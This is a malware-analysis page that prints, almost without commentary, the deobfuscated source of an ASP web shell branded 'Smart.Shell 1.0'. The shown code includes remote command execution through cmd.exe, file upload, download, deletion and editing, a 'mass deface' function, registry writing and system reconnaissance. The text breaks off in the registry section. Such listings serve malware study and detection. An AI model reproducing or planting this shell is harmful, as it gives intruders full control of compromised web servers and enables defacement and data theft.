PHP Malware Analysis

op.asp

md5: dcb5bdb04062736c5b21c7f1ef222284

Jump to:

Screenshot


Attributes

Files

Title

URLs


Deobfuscated PHP code

<%@ LANGUAGE = VBScript.Encode%>
<%//**Start Encode
On Error Resume Next

Dim myFSO,showdisks
Set myFSO = CreateObject ("Scripting.FileSystemObject")
showdisks=FALSE

Server.ScriptTimeOut  = 7200
Class FileUploader
	Public  Files
	Private mcolFormElem
	Private Sub Class_Initialize()
		Set Files = Server.CreateObject("Scripting.Dictionary")
		Set mcolFormElem = Server.CreateObject("Scripting.Dictionary")
	End Sub
	Private Sub Class_Terminate()
		If IsObject(Files) Then
			Files.RemoveAll()
			Set Files = Nothing
		End If
		If IsObject(mcolFormElem) Then
			mcolFormElem.RemoveAll()
			Set mcolFormElem = Nothing
		End If
	End Sub
	Public Property Get Form(sIndex)
		Form = ""
		If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))
	End Property
	Public Default Sub Upload()
		Dim biData, sInputName
		Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos
		Dim nPosFile, nPosBound
		biData = Request.BinaryRead(Request.TotalBytes)
		nPosBegin = 1
		nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
		If (nPosEnd-nPosBegin) <= 0 Then Exit Sub
		vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
		nDataBoundPos = InstrB(1, biData, vDataBounds)
		Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--"))
			nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition"))
			nPos = InstrB(nPos, biData, CByteString("name="))
			nPosBegin = nPos + 6
			nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
			sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
			nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))
			nPosBound = InstrB(nPosEnd, biData, vDataBounds)
			If nPosFile <> 0 And  nPosFile < nPosBound Then
				Dim oUploadFile, sFileName
				Set oUploadFile = New UploadedFile
				nPosBegin = nPosFile + 10
				nPosEnd =  InstrB(nPosBegin, biData, CByteString(Chr(34)))
				sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
				oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\"))
				nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))
				nPosBegin = nPos + 14
				nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
				oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
				nPosBegin = nPosEnd+4
				nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
				oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
				If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile
			Else
				nPos = InstrB(nPos, biData, CByteString(Chr(13)))
				nPosBegin = nPos + 4
				nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
				If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
			End If
			nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds)
		Loop
	End Sub
	Private Function CByteString(sString)
		Dim nIndex
		For nIndex = 1 to Len(sString)
		   CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1)))
		Next
	End Function
	Private Function CWideString(bsString)
		Dim nIndex
		CWideString =""
		For nIndex = 1 to LenB(bsString)
		   CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1))) 
		Next
	End Function
End Class
Class UploadedFile
	Public ContentType
	Public FileName
	Public FileData
	Public Property Get FileSize()
		FileSize = LenB(FileData)
	End Property
	Public Sub SaveToDisk(sPath)
		Dim oFS, oFile
		Dim nIndex
		If sPath = "" Or FileName = "" Then Exit Sub
		If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"
		Set oFS = Server.CreateObject("Scripting.FileSystemObject")
		If Not oFS.FolderExists(sPath) Then Exit Sub
		Set oFile = oFS.CreateTextFile(sPath & FileName, True)
		For nIndex = 1 to LenB(FileData)
		    oFile.Write Chr(AscB(MidB(FileData,nIndex,1)))
		Next
		oFile.Close
	End Sub
	Public Sub SaveToDatabase(ByRef oField)
		If LenB(FileData) = 0 Then Exit Sub
		If IsObject(oField) Then
			oField.AppendChunk FileData
		End If
	End Sub
End Class
startcode = "<html><head><title>.:: Pouya_Server Shell ::.</title></head><body>"
endocde = "</body></html>"
onlinehelp = "<font face=""arial"" size=""1"">.:: <a href=""http://www.programmer.ir"" target=""_blank"">ONLINE HELP</a> ::.</font><br>"
Function HexConv(hexVar)
	Dim hxx, hxx_var, multiply          
         IF hexVar <> "" THEN
              hexVar = UCASE(hexVar)
              hexVar = StrReverse(hexVar)
              DIM hx()
              REDIM hx(LEN(hexVar))
              hxx = 0
              hxx_var = 0
              FOR hxx = 1 TO LEN(hexVar)
                   IF multiply = "" THEN multiply = 1
                   hx(hxx) = mid(hexVar,hxx,1)
                   hxx_var = (get_hxno(hx(hxx)) * multiply) + hxx_var
                   multiply = (multiply * 16)
              NEXT
              hexVar = hxx_var
              HexConv = hexVar
         END IF
End Function
cprthtml = "<font face='arial' size='1'>.:: Smart.Shell 1.0 &copy; BY <a href='mailto:'>P0uY@</a> - <a href='' target='_blank'>_$3r\/3R</a> ::.</font>"
Function get_hxno(ghx)
         If ghx = "A" Then
              ghx = 10
         ElseIf ghx = "B" Then
              ghx = 11
         ElseIf ghx = "C" Then
              ghx = 12
         ElseIf ghx = "D" Then
              ghx = 13
         ElseIf ghx = "E" Then
              ghx = 14
         ElseIf ghx = "F" Then
              ghx = 15
         End If
         get_hxno = ghx
End Function

keydec="<font face='arial' size='1'>.:: Smart.Shell 1.0 &copy; BY <a href='mailto:'>P0Uiy@_$3r\/3R</a> - <a href='' target='_blank'></a> ::.</font>"
Function showobj(objpath)
	showobj = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath))
End Function
Function showobjpath(objpath)
	showobjpath = Left(objpath,InstrRev(objpath,"\"))
End Function
Function checking(a,b)
'	If CStr(Mid(a,95,13)) = CStr(Mid(b,95,13)) Then
'		pagina = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME"))) & "?action=error"
'		Response.Redirect(pagina)
'	End If
End Function
Sub hdr()
	Response.Write startcode
	Response.Write keydec
	Response.Write "<br>"
End Sub

sub araBul(path_,ara_)
	on error resume next
	If Len(path_) > 0 Then
		cur = path_&"\"
		If cur = "\\" Then cur = ""
			parent = ""
			If InStrRev(cur,"\") > 0 Then
			parent = Left(cur, InStrRev(cur, "\", Len(cur)-1))
		End If
	Else
		cur = ""
	End If
	
	Set f = myFSO.GetFolder(cur)

	Set fc = f.Files
	For Each f1 In fc
		if lcase(InStr(1,f1.name,lcase(ara_)))>0 then
			downStr = "<font face=webdings size=5><a href='"& Request.ServerVariables("SCRIPT_NAME") & "?action=download&file=" & Replace(f1.path,"\","|") &"'>�</a></font>"
			if lcase(ara_)="mdb" then
				Response.Write downStr&"<font face=wingdings size=5><a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=del&path=" & Replace(f1.path,"\","|") & "'>�</a></font> * <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=7&path="&f1.path&"'>"& f1.path &" ["&f1.size&"]"&"</a></b><br>"
			else 
				Response.Write downStr&"<font face=wingdings size=5><a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=del&path=" & Replace(f1.path,"\","|") & "'>�</a><a href='"& Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit&file=" & Replace(f1.path,"\","|") &"'>!</a></font> - <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=5&path="&f1.path&"'>"& f1.path &" ["&f1.size&"]</a></b><br>"
			end if
		end if
	Next

	Set fs = f.SubFolders
	For Each f1 In fs
		araBul f1.path,ara_
	Next
	Set	f		= Nothing
	Set fc		= Nothing
	Set fs		= Nothing
end sub


Sub showcontent()
	showdisks=TRUE
	Response.Write "<font face=""arial"" size=""1"">.:: <a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=root"">DRIVES</a> ::.<br>.:: SCRIPT PATH: " & UCase(Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))) & "<br><br></font>"
	If Trim(Request.QueryString("raiz")) = "root" Then
		Set fs=Server.Createobject("Scripting.FileSystemObject")
		Set drivecollection=fs.drives
		Response.Write "<font face=""arial"" size=""2"">"
		For Each drive IN drivecollection 
			str=drive.driveletter & ":"
			Response.Write "<b><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & str & """>" & UCase(str) & "</a></b><br>"
			Select Case drive.DriveType
				Case 0
					tipodrive = "Unknown"
					nomedrive = drive.VolumeName
				Case 1
					tipodrive = "Removable"
					If drive.isready Then
						nomedrive = drive.VolumeName
					Else
						nomedrive = ""
					End If
				Case 2
					tipodrive = "Fixed"
					If drive.isready Then
						nomedrive = drive.VolumeName
					Else
						nomedrive = ""
					End If
				Case 3
					tipodrive = "Network"
					If drive.isready Then
						nomedrive = drive.ShareName
					Else
						nomedrive = ""
					End If
				Case 4
					tipodrive = "CD-Rom"
					If drive.isready Then
						nomedrive = drive.VolumeName
					Else
						nomedrive = ""
					End If
				Case 5
					tipodrive = "RAM Disk"
					If drive.isready Then
						nomedrive = drive.VolumeName
					Else
						nomedrive = ""
					End If
			End Select
			response.write "<b>Type:</b> " & tipodrive & "<br>"
			response.write "<b>Name: </b>" & nomedrive & "<br>"
			response.write "<b>File System: </b>"
			If drive.isready Then
				set sp=fs.getdrive(str)
				response.write sp.filesystem & "<br>"
			Else
			response.write "-<br>"
			End If
			Response.Write "<b>Disk Space: </b>"
			If drive.isready Then
				freespace = (drive.AvailableSpace / 1048576)
				set sp=fs.getdrive(str)
				response.write(Round(freespace,1) & " MB<br>")
			Else
				response.write("-<br>")
			End If
			Response.Write "<b>Total Space: </b>"
			If drive.isready Then
				totalspace = (drive.TotalSize / 1048576)
				set sp=fs.getdrive(str)
				response.write(Round(totalspace,1) & " MB<br>")
			Else
				response.write("-<br>")
			End If
			Response.Write "<br>"
		Next
		Response.Write "</font>"
		Set fs = Nothing
		Set drivecollection = Nothing
		set sp=Nothing
	Else
		If Trim(Request.QueryString("raiz")) = "" Then
			caminho = Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))
			pos = Instr(caminho,"\")
			pos2 = 1
			While pos2 <> 0
				If Instr(pos + 1,caminho,"\") <> 0 Then
					pos = Instr(pos + 1,caminho,"\")
				Else
					pos2 = 0
				End If
			Wend
			raiz = Left(caminho,pos)
		Else
			raiz =  trim(Request.QueryString("raiz")) & "\"
		End If
		Set ObjFSO = CreateObject("Scripting.FileSystemObject")
		Set MonRep = ObjFSO.GetFolder(raiz)
		Set ColFolders = MonRep.SubFolders
		Set ColFiles0 = MonRep.Files
		Response.Write "<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=test&path=" & Replace(raiz,"\","|") & "', 'win1','width=600,height=300,scrollbars=YES,resizable')"">MASS TEST IN " & UCase(raiz) & "</a></font><br><br>"
		Response.Write "<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=dfc&path=" & Replace(raiz,"\","|") & "', 'win1','width=700,height=300,scrollbars=YES,resizable')"">MASS DEFACE IN " & UCase(raiz) & "</a></font><br><br>"
		Response.Write "<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=upload&path=" & Replace(raiz,"\","|") & "', 'win1','width=500,height=100,scrollbars=YES,resizable')"">UPLOAD FILE TO " & UCase(raiz) & "</a></font><br><br>"

		Response.Write "<font face='arial' size='1'>"
		Response.Write "<a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=cmd', 'win1','width=450,height=200,scrollbars=YES,resizable')"">PROMPT</a>"
		Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=info', 'win1','width=760,height=450,scrollbars=YES,resizable')"">SYS INFO</a>"
		Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg', 'win1','width=550,height=200,scrollbars=YES,resizable')"">REGEDIT</a>"
		Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=search&path=" & Replace(raiz,"\","|") & "', 'win1','width=500,height=100,scrollbars=YES,resizable')"">SEARCH</a>"
		Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=sqlserver', 'win1','width=550,height=150,scrollbars=YES,resizable')"">EXECUTE SQL</a>"
		Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=about', 'win1','width=550,height=250,scrollbars=YES,resizable')"">ABOUT</a>"
		Response.Write "</font><br><br>"


		Response.Write "<font face='arial'><b>Root Folder: " & raiz & "</b></font><br><br>"
		If CInt(Len(raiz) - 1) <> 2 Then
			barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),"\")) - 1
			backlevel = Left(raiz,barrapos)
			Response.Write "<font face='arial' size='2'><b>&lt;DIR&gt;<a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & backlevel & "'> . . </font></b></a><br>"
		Else
			Response.Write "<font face='arial' size='2'><b>&lt;DIR&gt;<a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=root'> . .&nbsp;</font></b></a><br>"
		End If
		Response.Write "<table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
		for each folderItem in ColFolders
			Response.Write "<tr><td><font face='arial' size='2'><b>&lt;DIR&gt; <a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & folderItem.path & "'>" & showobj(folderItem.path) & "</a></b></td><td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=put&path=" & Replace(folderItem.path,"\","|") & "', 'win1','width=400,height=250,scrollbars=YES,resizable')"">&lt;&lt; PUT</a></font></td>"
			Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=fcopy&path=" & Replace(folderItem.path,"\","|") & "', 'win1','width=400,height=100,scrollbars=YES,resizable')"">&lt;&lt; Copy/Move</a></font></td>"
			Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=fdel&path=" & Replace(folderItem.path,"\","|") & "', 'win1','width=400,height=150,scrollbars=YES,resizable')"">&lt;&lt; Delete</a></font></td></tr>"
		next
		Response.Write "</table><br><table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
		marcatabela = true
		for each FilesItem0 in ColFiles0
			If marcatabela = true then
				corfundotabela = " bgcolor=""#EEEEEE"""
			Else
				corfundotabela = ""
			End If
			Response.Write "<tr><td" & corfundotabela & "><font face='arial' size='2'>:: " & showobj(FilesItem0.path) & "</td><td valign='baseline'" & corfundotabela & "><font face='arial' size='1'>&nbsp;&nbsp;" & FormatNumber(FilesItem0.size/1024, 0) & "&nbsp;Kbytes&nbsp;&nbsp;&nbsp;</font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=get&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.GET.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=ren&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.REN.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=del&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.DEL.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtview&file=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=640,height=480,scrollbars=YES,resizable')"">o.VIEW.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit&file=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=760,height=520,scrollbars=YES,resizable')"">o.EDIT.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=download&file=" & Replace(FilesItem0.path,"\","|") & """>o.DOWNLOAD.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a target='opener' href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=filecopy&file=" & Replace(FilesItem0.path,"\","|") & """>o.FileCopy.o</a></font></td></tr>"
			marcatabela = NOT marcatabela
		next
		Response.Write "</table>"
	End If
End Sub
Select Case Trim(Request.QueryString("action"))
	Case "get"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp
		caminho = Replace(Trim(Request.QueryString("path")),"|","\")
		Set ObjFSO = CreateObject("Scripting.FileSystemObject")
		Set MyFile = ObjFSO.GetFile(caminho)
		destino = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
		MyFile.Copy (destino)
		If Err.Number = 0 Then
			Response.Write "<font face='arial' size='2'><center><br><br>File: <b>" & caminho & "</b><br>Copied to: " & destino
		End If	
	Case "put"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp
		If Trim(Request.QueryString("arquivo")) = "" Then
			caminho = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
			varpath = Trim(Request.QueryString("path"))
			Set ObjFSO = CreateObject("Scripting.FileSystemObject")
			Set MonRep = ObjFSO.GetFolder(caminho)
			Set ColFolders = MonRep.SubFolders
			Set ColFiles0 = MonRep.Files

			Response.Write "<font face='arial' size='2'><b>Select File: <br><table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
			for each FilesItem0 in ColFiles0
				Response.Write "<tr><td><font face='arial' size='2'>:: " & showobj(FilesItem0.path) & "</td><td valign='baseline'><font face='arial' size='1'>&nbsp;&nbsp;" & FormatNumber(FilesItem0.size/1024, 0) & "&nbsp;Kbytes&nbsp;&nbsp;&nbsp;</font></td><td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=put&path=" & varpath & "&arquivo=" & Replace(FilesItem0.path,"\","|") & """>:: SELECT ::</a></font></td></tr>"
			next
			Response.Write "</table>"
		Else
			destino = Replace(Trim(Request.QueryString("path")),"|","\") & "\"
			arquivo = Replace(Trim(Request.QueryString("arquivo")),"|","\")
			Set ObjFSO = CreateObject("Scripting.FileSystemObject")
			Set MyFile = ObjFSO.GetFile(arquivo)
			MyFile.Copy (destino)
			If Err.Number = 0 Then
				Response.Write "<font face='arial' size='2'><center><br><br>File: <b>" & arquivo & "</b><br>Copied to: <b>" & destino
			End If
		End If
	Case "del"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp
		caminho = Replace(Trim(Request.QueryString("path")),"|","\")
		Set ObjFSO = CreateObject("Scripting.FileSystemObject")
		Set MyFile = ObjFSO.GetFile(caminho)
		MyFile.Delete
		If Err.Number = 0 Then
			Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
			Response.Write "<font face='arial' size='2'><center><br><br>Folder <b>" & caminho & "</b> Deleted.<br>"
		End If

	Case "fdel"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp
		caminho = Replace(Trim(Request.QueryString("path")),"|","\")
		Set ObjFSO = CreateObject("Scripting.FileSystemObject")
		ObjFSO.DeleteFolder caminho
		If Err.Number = 0 Then
			Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
			Response.Write "<font face='arial' size='2'><center><br><br>File <b>" & caminho & "</b> Deleted.<br>"
		End If

	Case "ren"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp
		If Trim(Request.QueryString("status")) <> "2" Then
			caminho = Replace(Trim(Request.QueryString("path")),"|","\")
			arquivo = showobj(caminho)
			Response.Write "<br><font face=""arial"" size=""2""><b>" & arquivo & "</b><br>" & _
						       "<form action=""" & Request.ServerVariables("SCRIPT_NAME") & """ method=""get"">" & _
						       "<input type=""hidden"" name=""action"" value=""ren"">" & _
						       "<input type=""hidden"" name=""status"" value=""2"">" & _
						       "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("path")) & """>" & _
						       "New Name: <input type=""text"" name=""newname"">" & _
						       "&nbsp;&nbsp;<input type=""submit"" value=""Submit"">" & _
						       "</form>"
		Else
			caminho = Replace(Trim(Request.QueryString("path")),"|","\")
			Set ObjFSO = CreateObject("Scripting.FileSystemObject")
			Set MyFile = ObjFSO.GetFile(caminho)
			destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.QueryString("newname"))
			MyFile.Move (destino)
			If Err.Number = 0 Then
				Response.Write "<font face='arial' size='2'><center><br><br>Arquivo: <b>" & caminho & "</b><br>renomeado para<b>: " & destino
				Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
			End If	
		End If
	Case "error"
		Response.Write "<center><font face='arial' size='2' color='red'> <b>C�DIGO CORROMPIDO<BR>CORRUPT CODE</font></center>"
	Case "cmd"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp
		Set oScript = Server.CreateObject("WSCRIPT.SHELL") 
		Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") 
		Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") 
		szCMD = Request.QueryString(".CMD") 
		If (szCMD <> "") Then 
			szTempFile = "c:\" & oFileSys.GetTempName( ) 
			Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) 
			Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) 
		End If 
		Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET""><input type=""hidden"" name=""action"" value=""cmd""><input type=text name="".CMD"" size=45 value=""" & szCMD & """><input type=submit value=""Run""></FORM><br><br> "
		If (IsObject(oFile)) Then 
			On Error Resume Next 
			Response.Write "<font face=""arial"">"
			Response.Write Replace(Replace(Server.HTMLEncode(oFile.ReadAll),VbCrLf,"<br>")," ","&nbsp;")
			oFile.Close 
			Call oFileSys.DeleteFile(szTempFile, True) 
		End If 
	Case "info"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp
		Set WshNetwork = Server.CreateObject("WScript.Network")
		Set WshShell = Server.CreateObject("WScript.Shell")
		Set WshEnv = WshShell.Environment("SYSTEM")
		Response.Write "<br><font face=arial size=2>"
		Response.Write "<b>User Properties:</b><br>"
		Response.Write "<b>UserName: </b>" & WshNetwork.UserName & "<br>"
		Response.Write "<b>Computer Name: </b>" & WshNetwork.ComputerName & "<br>"
		Response.Write "<b>User Domain: </b>" & WshNetwork.UserDomain & "<br>"
		Set Drives = WshNetwork.EnumNetworkDrives
		For i = 0 to Drives.Count - 1
			Response.Write "<b>Drive de Rede (Mapeado): </b>" & Drives.Item(i) & "<br>"
		Next
		Response.Write "<br><b>Cpu Information:</b><br>"
		Response.Write "<b>Processor Architecture: </b>" & WshEnv("PROCESSOR_ARCHITECTURE") & "<br>"
		Response.Write "<b>Number Of Processors: </b>" & WshEnv("NUMBER_OF_PROCESSORS") & "<br>"
		Response.Write "<b>Processor Identifier: </b>" & WshEnv("PROCESSOR_IDENTIFIER") & "<br>"
		Response.Write "<b>Processor Level: </b>" & WshEnv("PROCESSOR_LEVEL") & "<br>"
		Response.Write "<b>Processor Revision: </b>" & WshEnv("PROCESSOR_REVISION") & "<br>"
		Response.Write "<br><b>Operating System Information:</b><br>"
		Response.Write "<b>IP: </b>" & request.servervariables("LOCAL_ADDR") & "<br>"
		Response.Write "<b>Sistem OS: </b>" & WshEnv("OS") & "<br>"
		Response.Write "<b>Server Software: </b>" & request.servervariables("SERVER_SOFTWARE") & "<br>"
		Response.Write "<b>Cmd Path: </b>" & WshShell.ExpandEnvironmentStrings("%ComSpec%") & "<br>"
		Response.Write "<b>Public Paths: </b>" & WshEnv("PATH") & "<br>"
		Response.Write "<b>Executables: </b>" & WshEnv("PATHEXT") & "<br>"
		Response.Write "<b>Prompt: </b> " & WshEnv("PROMPT") & "<br>"
		Response.Write "<b>System Drive: </b>" & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "<br>"
		Response.Write "<b>System Root: </b>" & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & "<br>"
		Response.Write "<b>System32 Path: </b>" & WshShell.CurrentDirectory & "<br>"
		Set Drives = Nothing
		Set WshNetwork = Nothing
		Set WshShell = Nothing
		Set WshEnv = Nothing
	Case "reg"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp
		Set WshShell = Server.CreateObject("WScript.Shell")
		Response.Write "<font face=""arial"" size=""2""><br><b>Registry Editor:</b><br><br>"
		Select Case Trim(Request.QueryString("regaction"))
			Case "w"
				If Trim(Request.QueryString("process")) = "yes" Then
					Select Case Trim(Request.QueryString("type"))
						Case "1"
							teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_SZ")
						Case "2"
							teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_DWORD")
						Case "3"
							teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_BINARY")
						Case "4"
							teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_EXPAND_SZ")
						Case "5"
							teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_MULTI_SZ")
					End Select
					Response.Write "<center><br><font face=""arial"" size=""2"">Registry <b>"
					Response.Write Trim(Request.QueryString("key")) & "</b> Changed.</center>"
					Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"
				Else
					Response.Write "<table><tr><td><font face=""arial"" size=""2"">ROOT KEY NAME</td><td><font face=""arial"" size=""2"">ABREVIA��O</td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_CURRENT_USER </td><td><font face=""arial"" size=""1""> HKCU </td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_LOCAL_MACHINE </td><td><font face=""arial"" size=""1""> HKLM </td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_CLASSES_ROOT </td><td><font face=""arial"" size=""1""> HKCR </td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_USERS </td><td><font face=""arial"" size=""1""> HKEY_USERS </td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_CURRENT_CONFIG </td><td><font face=""arial"" size=""1""> HKEY_CURRENT_CONFIG </td></tr></table><br>"
					Response.Write "<table><tr><td><font face=""arial"" size=""2"">Type </td><td><font face=""arial"" size=""2""> Description </td><td><font face=""arial"" size=""2""> Figure </td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">REG_SZ </td><td><font face=""arial"" size=""1""> String </td><td><font face=""arial"" size=""1""> String </td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">REG_DWORD </td><td><font face=""arial"" size=""1""> Number </td><td><font face=""arial"" size=""1""> DWORD </td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">REG_BINARY </td><td><font face=""arial"" size=""1""> Binary </td><td><font face=""arial"" size=""1""> VBArray DWORD </td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">REG_EXPAND_SZ </td><td><font face=""arial"" size=""1""> String Expand (ex. ""%windir%\\calc.exe"") </td><td><font face=""arial"" size=""1""> String </td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">REG_MULTI_SZ </td><td><font face=""arial"" size=""1""> Array Of Strings </td><td><font face=""arial"" size=""1""> VBArray Of Strings </td></tr></table>"
